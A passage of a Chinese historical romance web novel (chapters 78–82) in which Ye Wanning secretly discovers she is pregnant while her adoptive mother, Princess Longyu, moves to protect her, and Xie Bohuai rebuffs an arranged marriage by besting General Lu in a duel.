姜姒摇头,虽然她也想有孕,但哪有那么快,“你二哥有个好友叫金自观,你知道吗?” 叶婉宁说知道,之前金自观还帮她骂周钰,记得二哥哥对金自观评价不错。 “他看上你二妹妹了。”姜姒笑着道,“金家的门第太高,家里人除了你二哥相信金自观是个好的,其他人都不相信。所以你大哥哥拖我来自从,帮忙打听下金自观是个什么样的人。金家那样的门第,若是二妹妹嫁过去,我们怕她吃亏。” 一直以来,叶家相看人家,都是以人品为主,其余的倒是次要,不然当初就会找理由和周钰退婚了。 “二妹妹愿意吗?”叶婉宁觉得这个最重要。 “她没说愿意,也没说不愿意,我看有希望,所以才来找你。”姜姒看叶婉宁气色不太好,又问,“我怎么感觉你脸有点白,可是最近没休息好?” 叶婉宁摇头说不是,“方才在王府人多,吓了一下,没什么大事,金自观的事我会打听清楚。” “还有就是你三妹妹,她说不想嫁人,想去做女夫子。你大哥哥又被气到了,说什么稀奇事都到了咱们家,我和你二哥哥对此是能接受的,如果有机会,你问问三妹妹,是不是真的考虑清楚了。人啊,这一辈子有很多选择,但决定了,就无法回头。”姜姒叹了口气。 按照叶婉华的性格,确实不适合成亲嫁人,养在家里当个女夫子,能干一些事,又不至于坏了名声,是个不错的选择。 叶婉宁循规蹈矩了那么多年,还是最近放肆一些,才知道随性洒脱的快活。 “我能理解三妹妹,我也是支持她的,往后我的产业,分她一些,有二哥哥帮她打理,每年收分红就好。”叶婉宁还是习惯地替每个家人谋划。 各人有各人的缘法,不是每个人都要大富大贵,只要平安顺遂就行。 叶婉宁现在是看开了,等隆玉公主回来后,再去找她帮忙查金自观,“家里人都信不过我二哥哥说的,我自己的本事就那么点,还得请义母帮帮我。” 听叶婉宁主动要帮忙,隆玉公主是高兴的,说明叶婉宁把她当自己人,“女怕嫁错郎,确实该调查清楚,有没有本事不重要,人品得好。这事你放心,我肯定替你查个清楚。今日你在王府,打了朱氏的丫鬟?” “是的,但我不后悔。”叶婉宁道。 “好样的,这才有我的风范,她朱氏算什么东西,你就是打朱氏,今天也有我帮你撑腰。”隆玉公主得知事情原委后,派人又去教训了朱氏身边的人,非常不给面子了,“她还想我早点放了她家孩子,真是做梦,江嬷嬷,你去和白家那几个说,我要去烧香,让他们帮我抄写经书,明天就要。” 隆玉公主不信佛,她是故意借题发挥。 只要皇上不开口,隆玉公主就不放人,反正她有任性的资本。 到了用晚膳的时间,只是今日,叶婉宁没什么胃口,闻到鱼汤味突然有点恶心。 “逢春,你去喊个御医来帮你主子看看,是不是白天吃坏了肚子。”隆玉公主吩咐道。 叶婉宁说不用麻烦,“就是一点点反胃,不是什么事,我不喝鱼汤就好了。这个时辰请御医,别人要说我小题大做了。” 她坚持不让请御医,隆玉公主也就算了。 回到院子里后,叶婉宁闻到熏香也想吐,赶忙让人撤走。 沐浴时,叶婉宁突然想到一件可怕的事,她的葵水还没来,已经迟了几日了。 第78章 有孕 叶婉宁的小日子,向来是准的,最多差个三四天,现在算了算,竟然有十几天。 这段日子因为各种事,她忘记了还有这个可能。 她不是什么都没见过的闺阁少女,这时候如果真的运气不好,她…… 叶婉宁不敢多想,她脸色煞白,等云芝进来,她让云芝立马关了门窗。 “秋日的夜风是凉了一些,姑娘要不要喝点热茶?”云芝关好门窗,才发现主子的脸色白得厉害,慌张过去,“姑娘您这是怎么了?” 叶婉宁紧紧抓住云芝的手,她许久不曾落泪,这会眼泪不受控制地落下。 “您别吓奴婢,到底怎么了?要不要奴婢去喊大夫?”云芝刚提起来,叶婉宁立马捂着她的嘴说不要。 “云芝,我……我真是运气差到了极致。”叶婉宁趴在云芝怀里,压制着自己的声音。 云芝不懂主子怎么了,只能抱着主子安抚,过了许久,叶婉宁才问她上次来小日子是什么时候。 云芝这才提起心来,“姑娘,不……不会吧?” 这种事,又不能去请大夫,就算是叶婉宁偷偷地出门也不行,若是被人看到,那叶婉宁的名声就彻底毁了。 到时候,不仅仅是叶婉宁,整个叶家姑娘都要完蛋。 “我近来总是嗜睡,还恶心想吐。”叶婉宁越想,越觉得是了,“我看八成是真的了。” 她说了与谢泊淮的那段过往,云芝说不如去谢泊淮,叶婉宁却是摇头,“他应该是不知道的,如果我去找他,他会怎么想?他到时候不认,你以为谢泊淮是个好招惹的人?” “那怎么办?”云芝没了想法,这种时候,她恨不得自己有八个脑子,能帮主子出谋划策,“有没有什么办法,悄无声息地把孩子弄了?” 云芝也觉得谢泊淮不太可能认这个孩子,若是如此,倒不如不要。她们住在公主府,总有一天纸包不住火,若是被人知道,主子真完了。 叶婉宁这会心乱如麻,她紧紧抓着云芝,最后晚膳都没去用。 隆玉公主得知叶婉宁没胃口,亲自过来看了看,见叶婉宁脸色确实不好看,再次提到请御医来看看,却被叶婉宁拒绝了。 离开叶婉宁的小院时,隆玉公主感觉奇怪,“刚刚婉宁的反应有些大,按理来说,她应该不会这样拒绝?” “想来是刚打了白夫人的丫鬟,现在想低调一点。不如观察两天,如果姑娘还不舒服,咱们还是得把御医请来看看。”江嬷嬷叫来平常伺候叶婉宁的逢春,问叶婉宁最近有没有哪里不一样。 逢春说除了爱睡觉,其他都没有。 江嬷嬷道了声奇怪,让逢春好好照顾叶婉宁,有什么事立马去禀告。 叶婉宁一颗心提到了嗓子眼,她知道这种事瞒不了多久,现在还看不出来,但是等两个月后,肚子总会显现出来。 不如像云芝说的一样,偷偷流了孩子? 可是去买药,也会被人怀疑,现在她身边那么多人盯着,根本没有机会单独出行。 这一晚上,叶婉宁都没睡着,她摸着还平坦的小腹,思索着各种可能。 为了不引起怀疑,次日叶婉宁还是如常去请安,她的这份心事,除了云芝,她谁都不敢说。 但有了矛头,总会被人看出点什么,隆玉公主就能发现叶婉宁的不一样。 只是隆玉公主没有提出来,毕竟叶婉宁不说,她不好主动去提,只能交代逢春私下好好照顾叶婉宁。 而金自观的事,隆玉公主很快查了个清楚,她叫来叶婉宁,“金自观这个人,有点讲江湖道义,人确实不坏,一张嘴很能说,总会把人气死。作为家中嫡出的幼子,金夫人对他很是宠爱,所以贪玩了一点,但没什么恶习。总的来说,如果你们不指望金自观升官发财,可以考虑这门亲事。” 得了隆玉公主的准话,叶婉宁回了一趟叶家。 林氏和姜姒等回复等得焦急,听说金自观没有恶习,人也还可以,姜姒先松了口气。 林氏却有担忧,“我听说金夫人护短得很,脾气也不好,二妹妹是个直肠子,没什么心眼,嫁到金家去,应付得了那么多人吗?” 叶婉宁说这也是个问题,“不过想应付,总可以去学。就是看她愿不愿意,不过我好奇,金自观怎么看上二妹妹的?” 林氏道,“还不是你二哥,隔三差五带着那些朋友到家里来,你二妹妹爬树被金自观看到了,一眼就相中你二妹妹。” “爬树?”叶婉宁皱了眉,很快又懂了,“他们这是臭味相投,惺惺相惜了。” 姜姒说是,“金自观私下里和你二哥哥说,还没见过哪家姑娘会自己爬树拿风筝的,二妹妹胆大有意思,金自观说就喜欢这样的姑娘。”说着,她去看林氏,因为大哥是不同意这门婚事的。 叶明德说金自观不务正业,把妹妹嫁给金自观这种人,让人会说他们叶家为了攀龙附凤,竟然不爱惜自家姐妹。 叶老夫人经历过叶明岳的事之后,看开了许多,想着金自观人品没问题就行。故而全家上下,现在只有叶明德没点头。 “金家那里呢,又是个什么态度?”叶婉宁问。 提到这个,林氏和姜姒对视一眼,一起叹了口气。 “前几日,我倒是见到金夫人了。”姜姒道。 金夫人自然知道儿子的心事,一开始听到是叶家姑娘,自然而然地想到嫡出的叶婉宁。虽然叶婉宁被退婚过,但叶婉宁样样都出挑,现在还得了隆玉公主的青睐,说起来配得上金家的门第。 但金自观说是叶家二姑娘,金夫人就没那么同意了,派人打听后,得出叶家二姑娘直率天真,金夫人知道儿子爱玩,就想找个能管得住金自观的人,所以不肯同意。 “金夫人不说婉玉的事,反而打听起婉宁你有没有订婚。”姜姒委婉地道。 叶婉宁立刻明白金夫人的意思,“那她是不愿意二妹妹嫁过去吗?” “也没说二妹妹的事,我看啊,这事还得看金自观自己。二妹妹勉强嫁过去,也不一定是好事,成亲不仅仅看夫婿,婆家也很重要。”姜姒叹气说完,眼睛转了转,“婉宁,我听说你打了白夫人的丫鬟?” 叶婉宁知道瞒不了,“是的,我义母得罪了白家,朱氏要拿我出气,我自然不能忍,不然公主府的面子都丢了。” 听此,林氏和姜姒的态度完全不一样,林氏觉得叶婉宁冲动了,“当着那么多人面,你打了她丫鬟,以后再见面多尴尬。” “怕什么尴尬?”姜姒说打得好,“真要忍下来,以后是不尴尬了,却要一直被朱氏欺负。连带着公主府的脸面都会丢了。” 林氏还是忍不住操心,林家门第不如姜家,两家养女儿的方式也就不一样。 此时的金自观,正缠着他母亲,“什么叶婉宁,我又不喜欢她。干嘛非要逼着我,我只想要叶二姑娘,母亲您不是说了,家里有大哥顶起门户就行,我不闯祸就是对您最大的好处。” 金夫人被缠得没办法,假装用力,实际不舍得真的打,“你个磨人精,你怎么会那么喜欢叶家二姑娘,她到底给你灌了什么迷魂药?” “不是她给儿子灌迷魂药,儿子就喜欢那么一个人,她和所有的世家贵女都不一样。”金自观道,“您喜欢那种循规蹈矩的,若是真娶回家,我也没兴趣碰她。到时候成天吵架闹脾气,闹到您面前来,您就不头疼?” “看到你这样,我才头疼。”金夫人叹气道。 “儿子又不给您惹事,不过是没本事一点,有什么好头疼的?”金自观从来不以自己不会读书为耻,“人各有所长,大哥会的我不会,我会的大哥也不见得会啊。” 金夫人提起金自观耳朵,“你会的斗蛐蛐,摸牌九,这些东西,你大哥自然不会,你以为谁都像你,一天到晚地就想着吃喝玩乐?还好意思把你和你大哥比较,金自观你怎么脸皮那么厚?” 金自观坐在地上,拉着他母亲的衣摆,“儿子说的是实话,并不是脸皮厚。斗蛐蛐也有斗蛐蛐的好处,你看我到南市场,多少人要喊我一句金爷。如果有个什么事,您让父亲和大哥去办,还不一定有我效果好。母亲,您得看看儿子的长处,别总想着让我读书考科举,我这辈子就没这个命,您啊,趁早死了这条心。” 他这一张嘴,一直能说会道,金夫人说不过儿子,气得用力拍了两下,这次真下了狠劲。 金自观嗷嗷叫着疼,“您再这样打儿子,儿子就去入赘了。” “你敢!”金夫人气得又想打人,“我真是把你宠得无法无天,什么话都敢说出来。你真敢去入赘,你爹能把你打断腿,你信不信?” 这点,金自观是信的。 他父亲那个人,动不动就是家法伺候,从小到大,金自观早就习惯了。 但是现在,他得劝服他母亲,“您看啊,儿子都被逼着想入赘了,说明儿子是真心喜欢啊。人这一辈子,多不容易,能有几个真心喜欢的人?母亲,若是给您一次重来的机会,您还会想嫁给父亲吗?” “你个死孩子,怎么调侃起我来?”金夫人忍不住了,再好的教养也要动手。 她捏住儿子的嘴,“不要再说点乱七八糟的话,我又不是完全否定,但叶家二姑娘实在是不相配,你把她娶进家门,以后她和妯娌们在一起相处,你以为女人之间不会比较?” 自然是会的。 金夫人语重心长道,“母亲是过来人,知道深宅大院里不容易,你想低娶是可以,但不能差太多。你父亲堂堂二品官员,他叶明德才五品,实在是配不上。你听母亲一句劝,你现在见识少了,才会说非她不可,等你多见一些姑娘,保管你不会再喜欢叶婉玉。” “母亲说什么呢,这京城里谁见的姑娘也不如我多啊,儿子正是千挑万选,才选了这么一个合适的。”金自观很有自知之明,“再说了,那些高门大户的姑娘,也看不上我啊。您又不是不知道,外边人怎么说我的。” “听你这语气,你还挺自豪啊?”金夫人是真没了脾气,“你给我消停点吧,不然你爹揍你,我都帮不了你。” “揍就揍,只要能娶到心上人,父亲把我打到起不来,这次我也不吭声。”他继续耍赖不起来,“母亲,儿子求求您啦,从小到大,儿子就没这么求婚您,您就答应了呗。” 金夫人被缠得没办法,又不愿意就这么松口,拧巴地道,“我先看看吧,毕竟是你的婚姻大事,不能草率决定。” “好耶,我就知道您最好了。”金自观了解他母亲,知道母亲是松口了的意思。 金夫人气得揪着儿子的耳朵,却没多用力,罢了,她就两个儿子,大儿子够能干了,至于小儿子随便了。人不能太贪心,总不能指望着两个儿子都位极人臣,那她上辈子得干多大的好事? 另一边,叶婉宁和两位嫂嫂说了一会话,又去看了两位妹妹。 叶婉玉的态度是,“金自观说了,他绝对不会让我为难,他会去劝说他父亲母亲。如果他真有这种本事,那我姑且相信他是真心的。” “你对他呢,没心动?”叶婉宁问。 “怎么说呢?”叶婉玉这次成熟了许多,“我是想过了,我这样的性格,做宗妇主母实在不能够,到时候累坏了自己,还说不定天天吵架。倒不如嫁给金自观这种,家底殷实,只要不作死,日子就不会难过。上面有能干的大嫂,我只要不得罪大嫂和婆母,日子就能舒服。至于金自观嘛,我并不反感。” 叶婉宁明白了,知道经历过事情,妹妹也长大了。 从叶家离开后,叶婉宁心事重重,或许是想太多,胃里一阵翻涌。 她让小厮停到没人的地方,扶着柳树吐,其实也没什么东西吐,就是胃里不舒服。 云芝拿着水壶,“姑娘漱漱口,咱们快点回去吧,免得被人看到。” 她刚说完,余光就看到谢泊淮带人经过,似乎是发现了他们,谢泊淮朝这边走了过来。 第79章 起疑 “姑娘!”云芝拽了拽主子的衣袖,“谢大人来了。” 听到是谢泊淮,叶婉宁慌张地收好帕子,起身时却见谢泊淮停在对面的路上,没有再往前。 虽说这附近人少,但谢泊淮身后还跟着镇府司的人,若是谁多嘴多舌一点,就有人会盯上叶婉宁。 看着谢泊淮离开,叶婉宁才松口气,“快回去。” 只是叶婉宁不知道,她这么一吐,车夫回去后便说给了江嬷嬷听。 江嬷嬷心下奇怪,特别是联系起叶婉宁不让请大夫的样子,皱着眉去找了主子。 “殿下,不是老奴多心,姑娘看着也不像是不守规矩的人,实在是情况让人奇怪。”江嬷嬷让所有人都退了出去,“这些日子,老奴眼里看得明白,虽说姑娘跟着您胆大一点,但叶家的教养还是不错的。” 隆玉公主听得也糊涂了,他们都不相信叶婉宁会干出出格的事,可现实情况却让他们不得不多想。 “殿下,如果是真的怎么办?”江嬷嬷知道姑娘家名声最重要,若是时间久了,怕是藏不住这个秘密。 隆玉公主也犯难了,“婉宁不说,我们主动去问,若是假的,太伤我们的情分了。可如果是真的,就得提前做好准备才是,不然光靠她一个姑娘家,哪里能应付得了。” 隆玉公主的第一反应并不是问责叶婉宁,更不是摆脱关系,她是想替叶婉宁处理好这件事。从上次的乌苏使臣事件,隆玉公主和叶婉宁之间不再生疏,两人亲近了不少。 江嬷嬷想了想,“逢春几个都没生过孩子,让她们观察,老奴不太放心。不如让老奴去看看?” 江嬷嬷也无儿无女,但是她见过许多有孕的夫人,是不是真的有孕,联合实际情况,也能看个八九不离十。 “也只能这样了。”隆玉公主叹了口气。 江嬷嬷带着调理脾胃的药去找叶婉宁,她到的时候,逢春几个都在外边。 “姑娘只留了云芝伺候。”逢春道。她们是殿下的人,姑娘不会对他们完全信任。 江嬷嬷去敲门,过了会云芝来开门,“姑娘身子还好吗?”她也没让逢春他们进屋伺候,只让云芝把药拿去热一热。 云芝说还好,担忧地回头看了眼屋子里的情况,叹气去热药。 不过姑娘现在的身子,并不适合吃任何药,云芝悄悄地把药给换了,最后端着一点红糖水过来。 江嬷嬷打量着主子,“听车夫说,姑娘今天吐了,可是吃坏了肚子?” 叶婉宁愣了下,随后说是,“贪嘴多吃了点凉茶,没想到我现在的身子,那么经不起折腾。” 她说到凉茶时,江嬷嬷还没看出什么来,心里默默祈祷着最好是凉茶,不然事情就难办了。 看云芝端来了药,江嬷嬷又道,“殿下得知姑娘不舒服,心里担忧着您,万事都不如您的身子要紧,其余的别担心,也不用多想。实在有难事,您可以去找殿下商量,殿下肯定会帮您的。” 这话是在暗示叶婉宁了,说完话,江嬷嬷退了出去,叫来逢春。 逢春以为是叶婉宁还不放心殿下,才让云芝把药给换了,“我看得清楚,云芝把药倒了,换成红糖水。嬷嬷您说,姑娘的防心会不会太重一点,殿下对姑娘那么好,她不应该啊。” “这也是正常,姑娘以前怎么样,现在又怎么样,哪里能一下对人卸下心防。你们好好伺候着,这几日姑娘不舒服,尽量少打扰。”江嬷嬷心里已经有了答案,但在逢春他们面前,还是要装作没发觉异常的样子。 回了正殿,江嬷嬷微微地点头,隆玉公主就让所有人都退了出去。 “怎么会这样?”隆玉公主想不明白,“她能和谁呢?” 江嬷嬷也想不明白,“老奴也想不明白,之前周钰在感业寺大吵大闹,说掳走过姑娘,会不会是……” 她不敢继续说,因为主子已经黑了脸。 “如果是周钰的,那周钰更该死了!”隆玉公主查过叶婉宁,知道周钰闹过感业寺,不过当时叶婉宁出现及时,并没有让周钰的话成真,众人只当周钰想故意坏了叶婉宁的名声。 算算日子,还真可能是那段时间怀上的孩子。 现在想来,确实有这个可能。 为了维护名声,就算叶婉宁真的被周钰掳走,也会说没有。 隆玉公主拧紧眉头,她一开始对叶婉宁,只是用叶婉宁来做保护伞,防止谢泊淮对她动手。长久地相处下来,她是动了真情的。 “周钰现在在哪里?”隆玉公主问。 “回殿下,周钰和他母亲等人,生活在京郊。”江嬷嬷道,“据说周钰被人割了舌头,还挑了手筋。就算咱们派人去查,周钰怕是说不出一个字。” 听周钰那么凄惨,隆玉公主都不觉得痛快,“派人去查查,是什么人对周钰动手。” 江嬷嬷说了一句是,话题又回到叶婉宁身上,“那姑娘那里,殿下打算怎么处理?” 未婚姑娘有了孩子,被人发现后,只有死路一条。就算叶家再疼爱叶婉宁,也只会远远地送走叶婉宁。但这么一来,叶家其他的姑娘也要跟着倒霉,还会牵连到隆玉公主的名声。 “本宫既然认她当义女,就是一辈子的事。”隆玉公主霸气道,“是要还是不要,本宫都支持她。这人啊,也就这么一辈子,本宫都敢亲自杀了乌苏使臣,还怕护不住一个小姑娘吗?” 人是她非要认为义女的,既然认了,就会护叶婉宁一辈子周全。 想到自己吃了许多苦的儿子,隆玉公主心底窜起一股恨意,“就算有错,那也不是她的错!要怎么做,等查到是谁割了周钰舌头再说。婉宁估计也才知道,让她缓两天再说。” “老奴知道了。”江嬷嬷立马派人去调查,得知是谢泊淮干的后,她和隆玉公主都相信周钰是真的掳走过叶婉宁。 叶婉宁那一直没有动静,知道叶婉宁想不出个办法,隆玉公主带上江嬷嬷,亲自过去了。 第80章 订婚 叶婉宁花时间好好想了想自己的未来,刚知道的时候,她是茫然的,脑子一片混乱。 后来她冷静了,她已经是重来的人生,她应该很清楚,她想过什么样的人生。 她想要家人平安,这辈子的家人都有了不错的发展。 她要报复周钰,现在的周钰生不如死。 这都是对别人的,那她自己呢? 是想收获新的感情,去经营新的家庭吗? 还是另有安排? 原来的叶婉宁,好像是可以接受新的家庭,当好一个循规蹈矩的内宅主母。 现在不行了。 拿了孩子,她更不会去嫁人,那她要一个人到老吗? 隆玉公主和她说,人就这么一次活着,她其实是第二次了,所以更加知道隆玉公主口中的任性点、自我点,有多难能可贵。 但是不迈出这一步,又有谁会知道更多精彩的人生是怎么样的? 叶婉宁思来想去,她能做的,和能选择的,便是开始对自己好一点。 听到逢春喊“殿下”,叶婉宁深吸一口气,从软塌上起来,“义母,您怎么来了?” “本宫来看看你。”隆玉公主坐下后,江嬷嬷很有眼色地带走了逢春等人,只留下一个云芝伺候茶水。 “您来得正好,我有些事想和您说。”叶婉宁道,“我知道您对我很好,也很感恩您给我的一些底气。只是我离家太久,有些想家了,想回去一段时间。” 在隆玉公主的眼皮底下,时时刻刻都有人盯着叶婉宁,她做任何选择,都会被隆玉公主知道。 隆玉公主叹了口气,她知道叶婉宁这是在想办法了,“本宫是个直率的人,不喜欢兜圈子,你的事,本宫是知道了。” 什么事? 叶婉宁心提到了嗓子眼,她还没反应过来,就听隆玉公主问她,“你回家就能解决的话,本宫就不戳穿你了。但是婉宁,你真觉得叶家能帮你毫无痕迹地圆过去吗?” 怀孕的事,除了云芝,其他人叶婉宁都没提过,她怎么越听越不对劲。 “本宫实话和你说了吧,这些日子看你不太对劲,那日让江嬷嬷特意来试探了你。本宫不会问你怎么了,毕竟事情已经发生,你是本宫的义女,本宫自然会帮你周全。只是这个事,你想留,还是不留孩子呢?”隆玉公主只要知道这一点,剩下的事她就好安排了。 “义母,我……”叶婉宁有心为自己辩解,可话到嘴边,又不知从何说起。 眼泪无声地落下,叶婉宁没想到隆玉公主会这么宽容,“我不想拖累你们。” “你放心,你这点小事,还不至于让本宫如何。”隆玉公主道,“本宫也有过孩子,知道你的不容易,若是你选择留下孩子,应该立马找个人成婚。” 这样才能名正言顺地留下孩子,如果再拖下去,就算是成婚了,也瞒不住。 另一边,谢仲渊再一次来找谢泊淮,只是被折竹拦了下来,“大人正有事,还请老爷稍等片刻。” “我是他老子,有什么事是我不能知道的?”谢仲渊每次来这里,心下都不爽快。 “是镇府司的事,老爷确定要闯进去吗?”折竹的语气带了点威胁,他不像青山那般没脑子,也不像司砚看着笑嘻嘻的,他就去天生一副冷脸,对什么人都不会笑。 “你!好好好,我在这里等着他,可以了吧?”谢仲渊没好气地说完,在院子里转来转去,直到没了耐心,大喊道,“谢泊淮,你有完没完,是不打算见老子了吗?” 屋内飞出一把匕首,划破窗纸,从谢仲渊的脸颊边上划过。 只要歪一点,谢仲渊的脸就要破相。 谢仲渊愣住半天,最终坐在地上,“谢泊淮,你想谋害亲爹吗?” 这时,谢泊淮才眯着眼出来,他站在石阶上,“有话就说,有屁就放,谢仲渊你是不是忘了我的警告?” 满京城里,被儿子直呼其名的人,也就只有谢仲渊一个。 他骂咧咧地站起来,觉得丢死人了,往书房里走,“你给我滚进来!” 院子里还有下人,让下人们看他笑话,谢泊淮真是一天天的厉害了。 谢泊淮进屋后,谢仲渊让折竹关门,折竹没有动,只好自己去关门。 “有什么事还要关门说?”谢泊淮嘲讽道。 “前些日子,你侄女成婚,你去了吧?”那一日的谢仲渊,好生有面子,别人说他孙女有福气,嫁过去就是王妃。 有了孙女的婚事,他们谢家也算是一只脚踏进权势圈里,不过七皇子比其他王爷年轻许多,根基不深,于夺嫡上没什么希望。 这样更好,谢家本就是世家里拔尖的,并不需要当国丈来更上一层楼。只是有了皇家的这一层关系,以后有些事,更能和宫里说上话。 看谢泊淮不说话,谢仲渊只好自己道,“骠骑将军家的女儿看上你了,我已经答应了这门婚事,这次你不要想拒绝。自古以来,婚姻大事都是父母之命媒妁之言,由不得你私自做主!” 知道谢泊淮不会听自己的,所以谢仲渊这次先暂后奏,“你也是知道的,陆家人脾气火爆,你要是敢退婚,等于得罪整个陆家。还有我,我也会去告你忤逆不孝!” “忤逆不孝?陆家婚事?”谢泊淮的一张脸黑得可怕,“谢仲渊,你是不是老糊涂了,忘记我说过的话?” 谢仲渊当然记得,但是陆家手里有兵权,在这种时候,不管以后哪位王爷上位,陆家都是谢家的保护伞。 “我知道你不愿意,陆家女你不喜欢也可以,只要娶回来当个摆件就行。”谢仲渊道,“我已经和陆家交换了八字和信物,明日就去陆家定亲。谢泊淮,你应该知道我的为人,你要想想,你的狠辣是像了谁?” “是啊,你确实够狠毒,强抢民女,什么事都做得出来。”谢泊淮不加掩饰地冷笑嘲讽。 谢仲渊已经不在乎谢泊淮说他这些了,听久了早就习惯,“反正和陆家的联姻是板上钉钉的事,至于你以后想娶谁都可以,但陆家女你得好好地娶进家门!” 第81章 迎战 婚事呢,谢仲渊已经答应下来,后面的事要怎么处理,他不管。 谢仲渊了解自己的儿子,知道他来询问,肯定是拒绝。既然如此,让谢泊淮自个儿去应付,有本事就去拒绝陆家,反正他已经把话带到了。 “谢仲渊,你真以为我不敢灭你谢家满门吗?”谢泊淮咬着牙。 “别忘了,你也是谢家满门里的一个。”谢仲渊道。 谢泊淮呵呵笑了,“那又如何呢,我会怕死吗?” 看谢仲渊皱眉,谢泊淮喊来折竹,“你去陆家传个话,这门婚事我不认,如果陆家非要把女儿嫁过来,我不介意让陆家女守一辈子活寡!” 折竹听命于主子,虽然谢仲渊来拦着他,但他还是出门去了陆家。 陆家门房得知他是谢泊淮的随从,热情地迎他进去,他却摇头说不用了,“我家主子说了,让陆将军另觅良婿,他绝对不会同意这门婚事,如果陆家非要嫁女,一定会让陆家女守活寡。” 折竹放下话就走了,等陆家门房反应过来,快要气炸了,“什么人啊!” 陆丰年听到这话,当场发了火,拿上长刀去找谢泊淮。 “谢泊淮,你给老子滚出来!”陆丰年到谢家门口叫骂,“别以为你得皇上看重,就可以这般羞辱我,我陆丰年十三岁从军,到现在杀敌无数,你若是个真男人,就出来和老子打一场。你若是赢了,老子便不再缠着你!” 要不是女儿喜欢,陆丰年还看不上谢泊淮,京城里名声最臭的世家公子,非谢泊淮莫属。 陆丰年在谢家门口骂骂咧咧,非要谢泊淮出来迎战。 谢泊远知道后,气鼓鼓地去找他父亲,“您干嘛非要招惹陆丰年,他可是出了名的火气爆!” “怎么说话呢?”谢仲渊在小儿子那受了气,现在大儿子还来抱怨,他当即放下脸来,“这次是陆丰年主动提起来的婚事,我可没主动。你三弟不就占着皇上信任,在京城为所欲为。我倒要看看,他和陆丰年对上,皇上会帮谁?” 毕竟陆丰年的战功,本朝没几个人能比得上,此次出征乌苏,八九不离十是陆丰年。 若是不能让陆丰年平息怒火,怎么让他带兵打仗? 谢仲渊就想看谢泊淮陨落,只有这样,他才能拿捏谢泊淮。不知从何时起,谢泊淮慢慢逃脱他的掌控,一直到今天无法控制的地步。 谢泊远却无法安心,“他们真打起来,全京城都会议论这个事,到时候谢家的脸面怎么办?” “你要是怕丢人,先把你的儿子处理好吧。”谢仲渊没好气道。他不知道为什么,大房二房就没一个孙辈是厉害的,要么普普通通没本事,要么折腾成有名的纨绔。 若不是大房二房不争气,谢仲渊也不用煞费苦心地去谋划。 提到儿子,谢泊远熄了火,嫡长子是他最大的痛点。早知如此,就应该多生几个,而不是现在再去努力。 这时下人来传话,说三爷应战了,谢泊远是真谢泊淮下手没轻没重,要是把陆丰年打出个好歹来,他们谢家真要全家去和皇上请罪。 谢泊远一路狂奔,结果等他到门口,就看到谢泊淮拿剑指着陆丰年,“谢泊淮,你疯了吗?他可是陆大将军!” 这才两刻钟不到,谢泊淮竟然赢了身经百战的陆丰年? 谢泊远脑中闪过这个想法,不由害怕起来,难怪父亲说谢泊淮势头太猛,需要压一压。 而此时,谢泊淮却没搭理他大哥,而是冷静地看着陆丰年,“陆将军,你输了,请你记住你的话。” 听到这话的陆丰年,不怒反而哈哈大笑,“好好好,真不错啊,我朝真是才人辈出。”他欣赏地看着谢泊淮,“行,算我服气!” 谢泊远以为陆丰年被打傻了,跑下来问,“陆将军,你没事吧?要不要我帮你请大夫看看?” “没事,老子能有什么事?”陆丰年拒绝了谢泊远,有些嫌弃地让谢泊远走远点,“看你这瘦巴巴的样子,真是比不了你弟弟。老子最讨厌你们这种只会读书的,我说没事就没事。” 他去看谢泊淮,“我说谢泊淮,你要不要跟我进军营,你这身手和本事,老子的陆家军,以后都能交给你!” 谢泊淮直接拒绝,“我是镇府司的人,陆将军还是另寻他人吧。既然这门婚事作罢,以后就当此事没发生过。” 陆丰年是越看谢泊淮越喜欢,“你考虑考虑呗,我陆丰年的女儿,可不是一般娇滴滴的姑娘,打起架来也是一顶一的厉害,你……” “陆丰年,你给老娘闭嘴!”还没等陆丰年说完,陆夫人骑马追来,跳下马背揪住陆丰年耳朵,“我就知道你跑出来没好事,咱家女儿哪里会打架了?你再胡扯,我让你去睡马棚!” “夫人松手啊,那么多人看着呢!”陆丰年笑呵呵地道,“我不说了,你快松手。” 陆夫人这才松开陆丰年,转而去看谢泊淮,“确实长得俊俏,要是我年轻二十岁,我也会绑你做夫君。” “夫人,这可使不得。”陆丰年赶忙道。 “我说的是如果,我现在哪里干得出这种事?”陆夫人嫌弃地看了眼自家男人,再去看谢泊淮,“谢泊淮,你就那么看不上我女儿?” 谢泊淮:“是。” 陆夫人被气到了,“那你说说,你那个传说中的心上人到底是谁,你那么喜欢人家,干嘛不娶回家?” 因为昭云郡主的事,所有人都知道谢泊淮有心上人,就是不知道是谁。 陆夫人很不服气,她女儿可是最拔尖的,却在谢泊淮嘴里一文不值,拒绝得那么不给情面。 “无可奉告。”即使面对陆家,谢泊淮也没好脸,事情已经解决,他不再多说什么,转身进了谢家。 谢泊远是一颗心提到了嗓子眼,心里把谢泊淮骂了千八百遍,敢这么和陆家人说话,全京城也就谢泊淮那么无所顾忌。 谢泊远陪着笑脸和陆夫人行礼,“泊淮是个不会说话的,还请夫人别介意。我们谢家还是很有诚意的,我父亲对于这门婚事也很……” “不要和我提你父亲!”陆丰年现在最看不上谢仲渊,“他没本事压着儿子娶妻,当初就别答应我。要不是谢泊淮有种,我女儿真要被他害一辈子。” 说着,陆丰年去拉他夫人走。 陆夫人愤愤地指着谢泊远,“我倒要看看,你家谢泊淮最后会娶谁家姑娘,竟然那么大的架子!” 谢泊远后背都湿了,心想这事和他没关系,干嘛对着他说。 不过经此一事,让京城里的人更好奇谢泊淮的心上人是谁,不少人开始猜测。只是他们都和谢泊淮不熟,没有个方向。 与此同时,隆玉公主和叶婉宁已经在屋子里说了大半天的话,最终隆玉公主叹了口气,问,“你真的想好了吗?” 第82章 提亲 叶婉宁说想好了,“您说得对,日子是自己来选,那就得随了自己的心意。” “你确实长进了。”隆玉公主还算欣慰地点点头。 “义母不问问我,怎么回事吗?”叶婉宁已经和隆玉公主交心,若是对方问,她也会如实说。 隆玉公主却是摇摇头,“知道不知道,都改变不了事实,没必要知道太清楚。本宫反正明白,你是个好的。接下来本宫会替你安排好一切,你先回叶家一趟,毕竟你不打算让他们知道,只能趁这个机会,和他们再相处一段时间。” “多谢义母。”叶婉宁是真心感谢,从母亲过世后,久违地感受到了母爱的关怀。 隆玉公主从叶婉宁这离开后,江嬷嬷说他们这样做,要是谢泊淮发疯了一样找人怎么办。 “那就让他找,本宫还怕他不曾?”隆玉公主现在把叶婉宁看得更重要,“难得婉宁想得明白,本宫已经利用过她,接下来便是本宫补偿她的时候。至于谢泊淮,随便他吧,谁让他一直当缩头乌龟,不肯来提亲。” 说到这个,隆玉公主就看不上谢泊淮,要是她,就算是上刀山下火海,也得把心爱的人养在身边。 